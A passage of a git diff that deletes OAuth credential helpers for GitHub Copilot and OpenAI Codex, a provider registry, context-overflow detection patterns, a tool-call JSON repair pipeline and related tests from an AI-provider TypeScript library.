creds.refresh, - creds.enterpriseUrl, - ); - try { - const modelLimits = await fetchCopilotModelLimits( - refreshed.access, - creds.enterpriseUrl, - ); - if (Object.keys(modelLimits).length > 0) { - (refreshed as CopilotCredentials).modelLimits = modelLimits; - } - } catch { - // Model limits fetch is best-effort; don't block token refresh - } - return refreshed; - }, - - getApiKey(credentials: OAuthCredentials): string { - return credentials.access; - }, - - modifyModels( - models: Model[], - credentials: OAuthCredentials, - ): Model[] { - const creds = credentials as CopilotCredentials; - const domain = creds.enterpriseUrl - ? (normalizeDomain(creds.enterpriseUrl) ?? undefined) - : undefined; - const baseUrl = getGitHubCopilotBaseUrl(creds.access, domain); - const limits = creds.modelLimits; - const availableModelIds = limits ? new Set(Object.keys(limits)) : null; - const shouldFilterByAvailability = - !!availableModelIds && availableModelIds.size > 0; - return models.flatMap((m) => { - if (m.provider !== "github-copilot") return m; - if (shouldFilterByAvailability && !availableModelIds.has(m.id)) return []; - const modelLimits = limits?.[m.id]; - return { - ...m, - baseUrl, - ...(modelLimits && { - contextWindow: modelLimits.contextWindow, - maxTokens: modelLimits.maxTokens, - }), - }; - }); - }, -}; diff --git a/packages/pi-ai/src/utils/oauth/index.ts b/packages/pi-ai/src/utils/oauth/index.ts deleted file mode 100644 index 206f59443..000000000 --- a/packages/pi-ai/src/utils/oauth/index.ts +++ /dev/null @@ -1,152 +0,0 @@ -/** - * OAuth credential management for AI providers. - * - * This module handles login, token refresh, and credential storage - * for OAuth-based providers: - * - GitHub Copilot - * - * Note: Anthropic OAuth was removed per TOS compliance (see docs/user-docs/claude-code-auth-compliance.md). - * Use API keys or the local Claude Code CLI for Anthropic access. - * - * Note: Google Cloud Code Assist (google-gemini-cli) is not handled here. - * The provider delegates to @google/gemini-cli-core, which reads - * ~/.gemini/oauth_creds.json when present and owns any login flow it needs. - * SF uses cli-core directly and does not spawn a separate provider CLI process. - * - * Note: OpenAI Codex (ChatGPT) is not handled here via OAuth flows. - * The real `codex` CLI writes auth state to ~/.codex/auth.json after login. - * We read that file directly — no PKCE, no callback server in our code. - * Users authenticate with: codex auth login - */ - -// GitHub Copilot -export { - getGitHubCopilotBaseUrl, - githubCopilotOAuthProvider, - loginGitHubCopilot, - normalizeDomain, - refreshGitHubCopilotToken, -} from "./github-copilot.js"; -// OpenAI Codex — shim provider (login defers to real `codex` CLI) -export { openaiCodexOAuthProvider } from "./openai-codex.js"; - -export * from "./types.js"; - -// ============================================================================ -// Provider Registry -// ============================================================================ - -import { githubCopilotOAuthProvider } from "./github-copilot.js"; -import { openaiCodexOAuthProvider } from "./openai-codex.js"; -import type { - OAuthCredentials, - OAuthProviderId, - OAuthProviderInterface, -} from "./types.js"; - -const BUILT_IN_OAUTH_PROVIDERS: OAuthProviderInterface[] = [ - githubCopilotOAuthProvider, - openaiCodexOAuthProvider, -]; - -const oauthProviderRegistry = new Map( - BUILT_IN_OAUTH_PROVIDERS.map((provider) => [provider.id, provider]), -); - -/** - * Get an OAuth provider by ID. - * - * Returns the provider if registered (built-in or custom), otherwise undefined. - */ -export function getOAuthProvider( - id: OAuthProviderId, -): OAuthProviderInterface | undefined { - return oauthProviderRegistry.get(id); -} - -/** - * Register a custom OAuth provider. - * - * Custom providers override built-ins with the same ID during the session. - * Use `resetOAuthProviders` to restore built-ins. - */ -export function registerOAuthProvider(provider: OAuthProviderInterface): void { - oauthProviderRegistry.set(provider.id, provider); -} - -/** - * Unregister an OAuth provider. - * - * If the provider is built-in, restores the built-in implementation. - * Custom providers are removed completely. - */ -export function unregisterOAuthProvider(id: string): void { - const builtInProvider = BUILT_IN_OAUTH_PROVIDERS.find( - (provider) => provider.id === id, - ); - if (builtInProvider) { - oauthProviderRegistry.set(id, builtInProvider); - return; - } - oauthProviderRegistry.delete(id); -} - -/** - * Reset OAuth providers to built-ins. - * - * Clears custom providers and restores only GitHub Copilot and OpenAI Codex. - */ -export function resetOAuthProviders(): void { - oauthProviderRegistry.clear(); - for (const provider of BUILT_IN_OAUTH_PROVIDERS) { - oauthProviderRegistry.set(provider.id, provider); - } -} - -/** - * Get all registered OAuth providers. - * - * Returns both built-in and custom providers currently in the registry. - */ -export function getOAuthProviders(): OAuthProviderInterface[] { - return Array.from(oauthProviderRegistry.values()); -} - -// ============================================================================ -// High-level API (uses provider registry) -// ============================================================================ - -/** - * Get API key for a provider from OAuth credentials, refreshing if expired. - * - * Returns the API key along with updated credentials (if refreshed), or null if no credentials exist. - * Throws if the provider is unknown or token refresh fails. - */ -export async function getOAuthApiKey( - providerId: OAuthProviderId, - credentials: Record, -): Promise<{ newCredentials: OAuthCredentials; apiKey: string } | null> { - const provider = getOAuthProvider(providerId); - if (!provider) { - throw new Error(`Unknown OAuth provider: ${providerId}`); - } - - let creds = credentials[providerId]; - if (!creds) { - return null; - } - - // Refresh if expired - if (Date.now() >= creds.expires) { - try { - creds = await provider.refreshToken(creds); - } catch (error) { - throw new Error(`Failed to refresh OAuth token for ${providerId}`, { - cause: error, - }); - } - } - - const apiKey = provider.getApiKey(creds); - return { newCredentials: creds, apiKey }; -} diff --git a/packages/pi-ai/src/utils/oauth/openai-codex.ts b/packages/pi-ai/src/utils/oauth/openai-codex.ts deleted file mode 100644 index 6514a8643..000000000 --- a/packages/pi-ai/src/utils/oauth/openai-codex.ts +++ /dev/null @@ -1,238 +0,0 @@ -/** - * OpenAI Codex auth helper — reads ~/.codex/auth.json - * - * The real `codex` CLI writes its auth state to ~/.codex/auth.json after the - * user authenticates. We simply read that file and, if the token is stale, - * refresh it against OpenAI's token endpoint. - * - * No PKCE flow, no callback server, no browser dance in our code. - * Users authenticate with the real `codex` CLI; we just consume its output. - * - * File shape (verified against ~/.codex/auth.json): - * { - * "auth_mode": "chatgpt" | "apikey", // lowercase - * "OPENAI_API_KEY": string | null, - * "tokens": { - * "id_token": string, - * "access_token": string, - * "refresh_token": string, - * "account_id": string - * }, - * "last_refresh": string // ISO timestamp - * } - */ - -// NEVER convert to top-level imports - breaks browser/Vite builds (web-ui) -let _os: typeof import("node:os") | null = null; -let _fs: typeof import("node:fs") | null = null; -if ( - typeof process !== "undefined" && - (process.versions?.node || process.versions?.bun) -) { - import("node:os").then((m) => { - _os = m; - }); - import("node:fs").then((m) => { - _fs = m; - }); -} - -import type { OAuthCredentials, OAuthProviderInterface } from "./types.js"; - -const TOKEN_URL = "https://auth.openai.com/oauth/token"; -const CLIENT_ID = "app_EMoamEEZ73f0CkXaXp7hrann"; - -// Refresh threshold: 1 hour (conservative; the real codex CLI uses a similar window) -const REFRESH_THRESHOLD_MS = 60 * 60 * 1000; - -// ============================================================================ -// ~/.codex/auth.json types -// ============================================================================ - -interface CodexAuthFile { - auth_mode?: string; - OPENAI_API_KEY?: string | null; - tokens?: { - id_token?: string; - access_token?: string; - refresh_token?: string; - account_id?: string; - }; - last_refresh?: string; -} - -// ============================================================================ -// File reader -// ============================================================================ - -function getCodexAuthPath(): string { - if (!_os) throw new Error("node:os not available"); - return `${_os.homedir()}/.codex/auth.json`; -} - -function readCodexAuthFile(): CodexAuthFile { - if (!_fs) { - throw new Error( - "OpenAI Codex auth is only available in Node.js environments", - ); - } - const authPath = getCodexAuthPath(); - if (!_fs.existsSync(authPath)) { - throw new Error( - `~/.codex/auth.json not found.\n\n` + - `Authenticate with the real \`codex\` CLI first:\n` + - ` codex auth login\n\n` + - `Then re-run your command.`, - ); - } - const raw = _fs.readFileSync(authPath, "utf-8"); - return JSON.parse(raw) as CodexAuthFile; -} - -// ============================================================================ -// Token refresh -// ============================================================================ - -async function refreshCodexToken( - refreshToken: string, -): Promise<{ access_token: string; refresh_token: string }> { - const response = await fetch(TOKEN_URL, { - method: "POST", - headers: { "Content-Type": "application/x-www-form-urlencoded" }, - body: new URLSearchParams({ - grant_type: "refresh_token", - refresh_token: refreshToken, - client_id: CLIENT_ID, - }), - signal: AbortSignal.timeout(30_000), - }); - - if (!response.ok) { - const text = await response.text().catch(() => ""); - throw new Error( - `[openai-codex] Token refresh failed: ${response.status} ${text}`, - ); - } - - const json = (await response.json()) as { - access_token?: string; - refresh_token?: string; - }; - - if (!json.access_token || !json.refresh_token) { - throw new Error( - "[openai-codex] Token refresh response missing access_token or refresh_token", - ); - } - - return { access_token: json.access_token, refresh_token: json.refresh_token }; -} - -// ============================================================================ -// Public API -// ============================================================================ - -/** - * Read ~/.codex/auth.json and return the active access token. - * - * - For auth_mode "apikey": returns OPENAI_API_KEY directly. - * - For auth_mode "chatgpt": returns tokens.access_token, refreshing first - * if last_refresh is more than REFRESH_THRESHOLD_MS ago. - * - * Throws a clear error if the file is missing or malformed. - */ -export async function getCodexAccessToken(): Promise { - const auth = readCodexAuthFile(); - const mode = (auth.auth_mode ?? "").toLowerCase(); - - if (mode === "apikey") { - const key = auth.OPENAI_API_KEY; - if (!key) { - throw new Error( - `~/.codex/auth.json has auth_mode "apikey" but OPENAI_API_KEY is empty.\n` + - `Re-authenticate with: codex auth login`, - ); - } - return key; - } - - // Default: ChatGPT OAuth - const tokens = auth.tokens; - if (!tokens?.access_token || !tokens?.refresh_token) { - throw new Error( - `~/.codex/auth.json is missing OAuth tokens.\n` + - `Re-authenticate with: codex auth login`, - ); - } - - // Refresh if stale - const lastRefresh = auth.last_refresh - ? new Date(auth.last_refresh).getTime() - : 0; - const isStale = - !lastRefresh || Date.now() - lastRefresh > REFRESH_THRESHOLD_MS; - - if (isStale) { - try { - const refreshed = await refreshCodexToken(tokens.refresh_token); - return refreshed.access_token; - } catch (err) { - // If refresh fails, fall back to the stored access_token (it may still work) - console.warn( - `[openai-codex] Token refresh failed, using stored token: ${err instanceof Error ? err.message : String(err)}`, - ); - } - } - - return tokens.access_token; -} - -/** - * Read account_id from ~/.codex/auth.json (required as a request header). - * Falls back to extracting from the access_token JWT payload if not stored. - */ -export function getCodexAccountId(): string { - const auth = readCodexAuthFile(); - const accountId = auth.tokens?.account_id; - if (accountId) return accountId; - throw new Error( - `~/.codex/auth.json is missing tokens.account_id.\n` + - `Re-authenticate with: codex auth login`, - ); -} - -/** - * OAuthProviderInterface shim — kept so oauth/index.ts registry and - * auth-storage OAuth refresh flow continue to compile. - * - * login() is a no-op: users authenticate with the real `codex` CLI. - * getApiKey() reads the access token from ~/.codex/auth.json. - * refreshToken() is a no-op: getCodexAccessToken() refreshes inline. - */ -export const openaiCodexOAuthProvider: OAuthProviderInterface = { - id: "openai-codex", - name: "ChatGPT Plus/Pro (Codex Subscription)", - usesCallbackServer: false, - - async login(): Promise { - throw new Error( - `OpenAI Codex login is handled by the real \`codex\` CLI.\n` + - `Run: codex auth login\n\n` + - `Then use pi normally — it reads ~/.codex/auth.json automatically.`, - ); - }, - - async refreshToken(credentials: OAuthCredentials): Promise { - // Inline refresh via getCodexAccessToken(); return same shape - return credentials; - }, - - getApiKey(_credentials: OAuthCredentials): string { - // Synchronous fallback — callers that need the real token should await - // getCodexAccessToken() directly. This path is used for legacy callers. - const auth = readCodexAuthFile(); - const mode = (auth.auth_mode ?? "").toLowerCase(); - if (mode === "apikey") return auth.OPENAI_API_KEY ?? ""; - return auth.tokens?.access_token ?? ""; - }, -}; diff --git a/packages/pi-ai/src/utils/oauth/pkce.ts b/packages/pi-ai/src/utils/oauth/pkce.ts deleted file mode 100644 index 007d25326..000000000 --- a/packages/pi-ai/src/utils/oauth/pkce.ts +++ /dev/null @@ -1,37 +0,0 @@ -/** - * PKCE utilities using Web Crypto API. - * Works in both Node.js 20+ and browsers. - */ - -/** - * Encode bytes as base64url string. - */ -function base64urlEncode(bytes: Uint8Array): string { - let binary = ""; - for (const byte of bytes) { - binary += String.fromCharCode(byte); - } - return btoa(binary).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); -} - -/** - * Generate PKCE code verifier and challenge. - * Uses Web Crypto API for cross-platform compatibility. - */ -export async function generatePKCE(): Promise<{ - verifier: string; - challenge: string; -}> { - // Generate random verifier - const verifierBytes = new Uint8Array(32); - crypto.getRandomValues(verifierBytes); - const verifier = base64urlEncode(verifierBytes); - - // Compute SHA-256 challenge - const encoder = new TextEncoder(); - const data = encoder.encode(verifier); - const hashBuffer = await crypto.subtle.digest("SHA-256", data); - const challenge = base64urlEncode(new Uint8Array(hashBuffer)); - - return { verifier, challenge }; -} diff --git a/packages/pi-ai/src/utils/oauth/types.ts b/packages/pi-ai/src/utils/oauth/types.ts deleted file mode 100644 index 0925171c2..000000000 --- a/packages/pi-ai/src/utils/oauth/types.ts +++ /dev/null @@ -1,52 +0,0 @@ -import type { Api, Model } from "../../types.js"; - -export type OAuthCredentials = { - refresh: string; - access: string; - expires: number; - [key: string]: unknown; -}; - -export type OAuthProviderId = string; - -export type OAuthPrompt = { - message: string; - placeholder?: string; - allowEmpty?: boolean; -}; - -export type OAuthAuthInfo = { - url: string; - instructions?: string; -}; - -export interface OAuthLoginCallbacks { - onAuth: (info: OAuthAuthInfo) => void; - onPrompt: (prompt: OAuthPrompt) => Promise; - onProgress?: (message: string) => void; - onManualCodeInput?: () => Promise; - signal?: AbortSignal; -} - -export interface OAuthProviderInterface { - readonly id: OAuthProviderId; - readonly name: string; - - /** Run the login flow, return credentials to persist */ - login(callbacks: OAuthLoginCallbacks): Promise; - - /** Whether login uses a local callback server and supports manual code input. */ - usesCallbackServer?: boolean; - - /** Refresh expired credentials, return updated credentials to persist */ - refreshToken(credentials: OAuthCredentials): Promise; - - /** Convert credentials to API key string for the provider */ - getApiKey(credentials: OAuthCredentials): string; - - /** Optional: modify models for this provider (e.g., update baseUrl) */ - modifyModels?( - models: Model[], - credentials: OAuthCredentials, - ): Model[]; -} diff --git a/packages/pi-ai/src/utils/overflow.ts b/packages/pi-ai/src/utils/overflow.ts deleted file mode 100644 index ebc4ca796..000000000 --- a/packages/pi-ai/src/utils/overflow.ts +++ /dev/null @@ -1,134 +0,0 @@ -import type { AssistantMessage } from "../types.js"; - -/** - * Regex patterns to detect context overflow errors from different providers. - * - * These patterns match error messages returned when the input exceeds - * the model's context window. - * - * Provider-specific patterns (with example error messages): - * - * - Anthropic: "prompt is too long: 213462 tokens > 200000 maximum" - * - OpenAI: "Your input exceeds the context window of this model" - * - Google: "The input token count (1196265) exceeds the maximum number of tokens allowed (1048575)" - * - xAI: "This model's maximum prompt length is 131072 but the request contains 537812 tokens" - * - Groq: "Please reduce the length of the messages or completion" - * - OpenRouter: "This endpoint's maximum context length is X tokens. However, you requested about Y tokens" - * - llama.cpp: "the request exceeds the available context size, try increasing it" - * - LM Studio: "tokens to keep from the initial prompt is greater than the context length" - * - GitHub Copilot: "prompt token count of X exceeds the limit of Y" - * - MiniMax: "invalid params, context window exceeds limit" - * - Kimi For Coding: "Your request exceeded model token limit: X (requested: Y)" - * - Cerebras: Returns "400/413 status code (no body)" - handled separately below - * - Mistral: "Prompt contains X tokens ... too large for model with Y maximum context length" - * - z.ai: Does NOT error, accepts overflow silently - handled via usage.input > contextWindow - * - Ollama: Silently truncates input - not detectable via error message - */ -const OVERFLOW_PATTERNS = [ - /prompt is too long/i, // Anthropic - /input is too long for requested model/i, // Amazon Bedrock - /exceeds the context window/i, // OpenAI (Completions & Responses API) - /input token count.*exceeds the maximum/i, // Google (Gemini) - /maximum prompt length is \d+/i, // xAI (Grok) - /reduce the length of the messages/i, // Groq - /maximum context length is \d+ tokens/i, // OpenRouter (all backends) - /exceeds the limit of \d+/i, // GitHub Copilot - /exceeds the available context size/i, // llama.cpp server - /greater than the context length/i, // LM Studio - /context window exceeds limit/i, // MiniMax - /exceeded model token limit/i, // Kimi For Coding - /too large for model with \d+ maximum context length/i, // Mistral - /model_context_window_exceeded/i, // z.ai non-standard finish_reason surfaced as error text - /context[_ ]length[_ ]exceeded/i, // Generic fallback - /too many tokens/i, // Generic fallback - /token limit exceeded/i, // Generic fallback -]; - -/** - * Check if an assistant message represents a context overflow error. - * - * This handles two cases: - * 1. Error-based overflow: Most providers return stopReason "error" with a - * specific error message pattern. - * 2. Silent overflow: Some providers accept overflow requests and return - * successfully. For these, we check if usage.input exceeds the context window. - * - * ## Reliability by Provider - * - * **Reliable detection (returns error with detectable message):** - * - Anthropic: "prompt is too long: X tokens > Y maximum" - * - OpenAI (Completions & Responses): "exceeds the context window" - * - Google Gemini: "input token count exceeds the maximum" - * - xAI (Grok): "maximum prompt length is X but request contains Y" - * - Groq: "reduce the length of the messages" - * - Cerebras: 400/413 status code (no body) - * - Mistral: "Prompt contains X tokens ... too large for model with Y maximum context length" - * - OpenRouter (all backends): "maximum context length is X tokens" - * - llama.cpp: "exceeds the available context size" - * - LM Studio: "greater than the context length" - * - Kimi For Coding: "exceeded model token limit: X (requested: Y)" - * - * **Unreliable detection:** - * - z.ai: Sometimes accepts overflow silently (detectable via usage.input > contextWindow), - * sometimes returns rate limit errors. Pass contextWindow param to detect silent overflow. - * - Ollama: Silently truncates input without error. Cannot be detected via this function. - * The response will have usage.input < expected, but we don't know the expected value. - * - * ## Custom Providers - * - * If you've added custom models via settings.json, this function may not detect - * overflow errors from those providers. To add support: - * - * 1. Send a request that exceeds the model's context window - * 2. Check the errorMessage in the response - * 3. Create a regex pattern that matches the error - * 4. The pattern should be added to OVERFLOW_PATTERNS in this file, or - * check the errorMessage yourself before calling this function - * - * @param message - The assistant message to check - * @param contextWindow - Optional context window size for detecting silent overflow (z.ai) - * @returns true if the message indicates a context overflow - */ -export function isContextOverflow( - message: AssistantMessage, - contextWindow?: number, -): boolean { - // Case 1: Check error message patterns - if (message.stopReason === "error" && message.errorMessage) { - // Check known patterns - if (OVERFLOW_PATTERNS.some((p) => p.test(message.errorMessage!))) { - return true; - } - - // Cerebras returns 400/413 with no body for context overflow - // Note: 429 is rate limiting (requests/tokens per time), NOT context overflow - if ( - /^4(00|13)\s*(status code)?\s*\(no body\)/i.test(message.errorMessage) - ) { - return true; - } - } - - // Some providers surface overflow as assistant text while putting a generic - // classifier value in errorMessage (e.g. claude-code: errorMessage="success", - // text="Prompt is too long"). Check rendered text as a fallback. - if (message.stopReason === "error") { - const assistantText = message.content - .filter((block) => block.type === "text") - .map((block) => block.text) - .join("\n"); - if (assistantText && OVERFLOW_PATTERNS.some((p) => p.test(assistantText))) { - return true; - } - } - - // Case 2: Silent overflow (z.ai style) - successful but usage exceeds context - if (contextWindow && message.stopReason === "stop") { - const inputTokens = message.usage.input + message.usage.cacheRead; - if (inputTokens > contextWindow) { - return true; - } - } - - return false; -} diff --git a/packages/pi-ai/src/utils/repair-tool-json.ts b/packages/pi-ai/src/utils/repair-tool-json.ts deleted file mode 100644 index 8910dd01f..000000000 --- a/packages/pi-ai/src/utils/repair-tool-json.ts +++ /dev/null @@ -1,340 +0,0 @@ -/** - * Repair malformed JSON in LLM tool-call arguments. - * - * LLMs sometimes copy YAML template formatting into JSON tool arguments, - * producing patterns like: - * - * "keyDecisions": - Used Web Notification API..., - * "keyFiles": - src-tauri/src/lib.rs — Extended... - * - * instead of valid JSON arrays: - * - * "keyDecisions": ["Used Web Notification API..."], - * "keyFiles": ["src-tauri/src/lib.rs — Extended..."] - * - * This module detects and repairs such patterns before JSON.parse is called. - * - * @see https://github.com/singularity-forge/sf-run/issues/2660 - */ - -import { jsonrepair } from "jsonrepair"; -import { parse as parseYaml } from "yaml"; - -export const TOOL_JSON_REPAIR_PIPELINE_VERSION = 1; - -export interface ToolJsonRepairReport { - version: number; - input: string; - output: string; - changed: boolean; - repairs: string[]; - parseable: boolean; -} - -/** - * Detect whether a JSON string contains YAML-style bullet-list values - * (i.e. `"key": - item` instead of `"key": ["item"]`). - */ -export function hasYamlBulletLists(json: string): boolean { - // Match: "key": followed by whitespace then a dash-space pattern (YAML bullet) - // The negative lookahead excludes negative numbers (e.g. "key": -1) - return /"\s*:\s*-\s+(?!\d)/.test(json); -} - -/** - * Detect whether a JSON string contains XML parameter tags - * (i.e. `value`). - * - * Some models mix XML tool-call syntax into JSON string values, - * producing hybrid output that fails JSON.parse. - * - * @see https://github.com/singularity-forge/sf-run/issues/3403 - */ -export function hasXmlParameterTags(json: string): boolean { - return /<\/?parameter[\s>]/.test(json); -} - -/** - * Detect whether a JSON string contains truncated numeric values - * (e.g. `"exitCode": -,` or `"durationMs": ,`). - * - * Smaller models sometimes emit incomplete numbers when the value - * is cut off mid-generation. - * - * @see https://github.com/singularity-forge/sf-run/issues/3464 - */ -export function hasTruncatedNumbers(json: string): boolean { - // Match: colon, optional whitespace, then a comma or } without a value - // Or: colon, optional whitespace, bare minus sign followed by comma/} - return /:\s*,/.test(json) || /:\s*-\s*[,}]/.test(json); -} - -type XmlParameterBlock = { - name: string; - value: unknown; -}; - -const xmlParameterBlockPattern = - /([\s\S]*?)<\/parameter>/g; - -function parseXmlParameterValue(raw: string): unknown { - const trimmed = raw.trim(); - if (trimmed === "") return ""; - try { - return JSON.parse(trimmed); - } catch { - return trimmed; - } -} - -function extractXmlParameterBlocks(text: string): XmlParameterBlock[] { - const blocks: XmlParameterBlock[] = []; - for (const match of text.matchAll(xmlParameterBlockPattern)) { - blocks.push({ - name: match[1], - value: parseXmlParameterValue(match[2] ?? ""), - }); - } - return blocks; -} - -function trimLeakedXmlTail(fieldName: string, value: string): string { - let cut = value.length; - const parameterIndex = value.indexOf("= 0) cut = Math.min(cut, parameterIndex); - - const closingTagIndex = value.indexOf(``); - if (closingTagIndex >= 0) cut = Math.min(cut, closingTagIndex); - - return value.slice(0, cut).trimEnd(); -} - -/** - * Strip XML `` tags from a JSON string, leaving only the - * text content. This handles the case where the LLM mixes XML - * tool-call format into JSON string values. - */ -function stripXmlParameterTags(json: string): string { - // Remove opening tags: - let cleaned = json.replace(//g, ""); - // Remove closing tags: - cleaned = cleaned.replace(/<\/parameter>/g, ""); - return cleaned; -} - -function promoteXmlParametersToTopLevel(json: string): string { - try { - const parsed = JSON.parse(json) as Record; - if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { - return stripXmlParameterTags(json); - } - - let changed = false; - for (const [fieldName, value] of Object.entries(parsed)) { - if (typeof value !== "string" || !hasXmlParameterTags(value)) continue; - - const blocks = extractXmlParameterBlocks(value); - if (blocks.length === 0) continue; - - parsed[fieldName] = trimLeakedXmlTail(fieldName, value); - for (const block of blocks) { - if (!(block.name in parsed)) { - parsed[block.name] = block.value; - } - } - changed = true; - } - - return changed ? JSON.stringify(parsed) : stripXmlParameterTags(json); - } catch { - return stripXmlParameterTags(json); - } -} - -/** - * Replace truncated numeric values with 0. - * Handles: `"key": ,` → `"key": 0,` and `"key": -,` → `"key": 0,` - */ -function repairTruncatedNumbers(json: string): string { - // Bare comma after colon (missing value entirely) - let repaired = json.replace(/:\s*,/g, ": 0,"); - // Bare minus sign followed by comma or closing brace - repaired = repaired.replace(/:\s*-\s*([,}])/g, ": 0$1"); - return repaired; -} - -function isParseableJson(json: string): boolean { - try { - JSON.parse(json); - return true; - } catch { - return false; - } -} - -function repairWithJsonRepair(json: string): string { - try { - const repaired = jsonrepair(json); - return isParseableJson(repaired) ? repaired : json; - } catch { - return json; - } -} - -function repairWithYaml(json: string): string { - try { - const parsed = parseYaml(json); - if ( - parsed === null || - typeof parsed !== "object" || - parsed instanceof Date - ) { - return json; - } - const repaired = JSON.stringify(parsed); - return isParseableJson(repaired) ? repaired : json; - } catch { - return json; - } -} - -function applyGenericRepairs(json: string): { - output: string; - repairs: string[]; -} { - if (isParseableJson(json)) return { output: json, repairs: [] }; - - if (looksLikeYamlObject(json)) { - const yamlRepaired = repairWithYaml(json); - if (yamlRepaired !== json) { - return { output: yamlRepaired, repairs: ["yaml"] }; - } - } - - const jsonRepaired = repairWithJsonRepair(json); - if (jsonRepaired !== json) { - return { output: jsonRepaired, repairs: ["jsonrepair"] }; - } - - const yamlRepaired = repairWithYaml(json); - if (yamlRepaired !== json) { - return { output: yamlRepaired, repairs: ["yaml"] }; - } - - return { output: json, repairs: [] }; -} - -function looksLikeYamlObject(input: string): boolean { - const trimmed = input.trim(); - return ( - /^[A-Za-z_][A-Za-z0-9_-]*\s*:/m.test(trimmed) && trimmed.includes("\n") - ); -} - -/** - * Attempt to repair malformed JSON in LLM tool-call arguments. - * - * Handles three categories of malformation: - * - * 1. **YAML bullet lists** (#2660): `"key": - item1\n - item2` → `"key": ["item1", "item2"]` - * 2. **XML parameter tags** (#3403): `value` → stripped to content - * 3. **Truncated numbers** (#3464): `"exitCode": -,` → `"exitCode": 0,` - * - * Returns the original string unchanged if no patterns are detected - * or if the repair itself would produce invalid JSON. - */ -export function repairToolJsonWithReport(json: string): ToolJsonRepairReport { - let repaired = json; - const repairs: string[] = []; - - // Phase 1: Strip XML parameter tags - if (hasXmlParameterTags(repaired)) { - repaired = promoteXmlParametersToTopLevel(repaired); - repairs.push("xml-parameter-tags"); - } - - // Phase 2: Repair truncated numbers - if (hasTruncatedNumbers(repaired)) { - repaired = repairTruncatedNumbers(repaired); - repairs.push("truncated-numbers"); - } - - // Phase 3: Repair YAML bullet lists - if (!hasYamlBulletLists(repaired)) { - const generic = applyGenericRepairs(repaired); - repairs.push(...generic.repairs); - const output = generic.output; - return { - version: TOOL_JSON_REPAIR_PIPELINE_VERSION, - input: json, - output, - changed: output !== json, - repairs, - parseable: isParseableJson(output), - }; - } - repairs.push("yaml-bullet-lists"); - - // Strategy: find each `"key": - item1\n - item2\n - item3` region and - // wrap items in a JSON array. - // - // We work on the raw string because the JSON is not parseable yet. - // The pattern we target: - // "someKey":\s*- item text (possibly multiline) - // optionally followed by more `- item` lines - // terminated by the next `"key":` or `}` or end of string. - - // Match a key followed by YAML-style bullet list. - // Capture: (1) the key portion including colon, (2) the bullet-list body, - // (3) the separator (comma or empty) before the next key/bracket. - // The bullet list body ends at the next `"key":` or `}` or `]` or end of string. - const keyBulletPattern = - /("(?:[^"\\]|\\.)*"\s*:\s*)(- .+?)(,?\s*)(?="(?:[^"\\]|\\.)*"\s*:|[}\]]|$)/gs; - - repaired = repaired.replace( - keyBulletPattern, - (_match, keyPart: string, bulletBody: string, separator: string) => { - // Split the bullet body into individual items on `- ` boundaries. - // Items may contain embedded newlines for multi-line values. - const items = bulletBody - .split(/\n?\s*- /) - .filter((s) => s.trim().length > 0) - .map((s) => s.replace(/,\s*$/, "").trim()); - - // JSON-encode each item as a string, then wrap in an array. - const jsonArray = - "[" + items.map((item) => JSON.stringify(item)).join(", ") + "]"; - - // Re-emit the separator (comma) so the next key is properly delimited - const sep = separator.trim() - ? separator - : /^\s*"/.test(separator + "x") - ? ", " - : ""; - return keyPart + jsonArray + sep; - }, - ); - - // Strip trailing commas before } or ] (common in repaired JSON) - repaired = repaired.replace(/,(\s*[}\]])/g, "$1"); - - // Final phase: general-purpose repair for common JSON-ish model output: - // unquoted keys, single quotes, trailing commas, missing quotes, etc. - // This runs after SF-specific repairs so battle-tested generic repair - // handles broad syntax cleanup without weakening known field semantics. - const generic = applyGenericRepairs(repaired); - repairs.push(...generic.repairs); - const output = generic.output; - return { - version: TOOL_JSON_REPAIR_PIPELINE_VERSION, - input: json, - output, - changed: output !== json, - repairs, - parseable: isParseableJson(output), - }; -} - -export function repairToolJson(json: string): string { - return repairToolJsonWithReport(json).output; -} diff --git a/packages/pi-ai/src/utils/sanitize-unicode.ts b/packages/pi-ai/src/utils/sanitize-unicode.ts deleted file mode 100644 index 1aac67cd9..000000000 --- a/packages/pi-ai/src/utils/sanitize-unicode.ts +++ /dev/null @@ -1,28 +0,0 @@ -/** - * Removes unpaired Unicode surrogate characters from a string. - * - * Unpaired surrogates (high surrogates 0xD800-0xDBFF without matching low surrogates 0xDC00-0xDFFF, - * or vice versa) cause JSON serialization errors in many API providers. - * - * Valid emoji and other characters outside the Basic Multilingual Plane use properly paired - * surrogates and will NOT be affected by this function. - * - * @param text - The text to sanitize - * @returns The sanitized text with unpaired surrogates removed - * - * @example - * // Valid emoji (properly paired surrogates) are preserved - * sanitizeSurrogates("Hello 🙈 World") // => "Hello 🙈 World" - * - * // Unpaired high surrogate is removed - * const unpaired = String.fromCharCode(0xD83D); // high surrogate without low - * sanitizeSurrogates(`Text ${unpaired} here`) // => "Text here" - */ -export function sanitizeSurrogates(text: string): string { - // Replace unpaired high surrogates (0xD800-0xDBFF not followed by low surrogate) - // Replace unpaired low surrogates (0xDC00-0xDFFF not preceded by high surrogate) - return text.replace( - /[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(? { - test("promotes XML parameters trapped inside valid JSON string values", () => { - const malformed = - '{"narrative":"text.\\nall tests pass\\n[\\"npm test\\"]","oneLiner":"done"}'; - - const parsed = parseStreamingJson>(malformed); - - assert.equal(parsed.narrative, "text."); - assert.equal(parsed.verification, "all tests pass"); - assert.deepEqual(parsed.verificationEvidence, ["npm test"]); - assert.equal(parsed.oneLiner, "done"); - }); -}); - -describe("parseStreamingJson — generic malformed tool argument recovery", () => { - test("repairs complete JSON-ish objects with unquoted keys", () => { - const parsed = parseStreamingJson>( - "{title: 'Done', verificationPassed: true,}", - ); - - assert.equal(parsed.title, "Done"); - assert.equal(parsed.verificationPassed, true); - }); - - test("repairs full YAML-shaped object arguments", () => { - const parsed = parseStreamingJson>( - "title: Done\nverificationPassed: true\n", - ); - - assert.equal(parsed.title, "Done"); - assert.equal(parsed.verificationPassed, true); - }); - - test("does not repair incomplete streaming chunks into fabricated values", () => { - const parsed = parseStreamingJson>('{"title":'); - - assert.deepEqual(parsed, {}); - }); -}); diff --git a/packages/pi-ai/src/utils/tests/overflow.test.ts b/packages/pi-ai/src/utils/tests/overflow.test.ts deleted file mode 100644 index 49d2897b2..000000000 --- a/packages/pi-ai/src/utils/tests/overflow.test.ts +++ /dev/null @@ -1,59 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import type { AssistantMessage } from "../../types.js"; -import { isContextOverflow } from 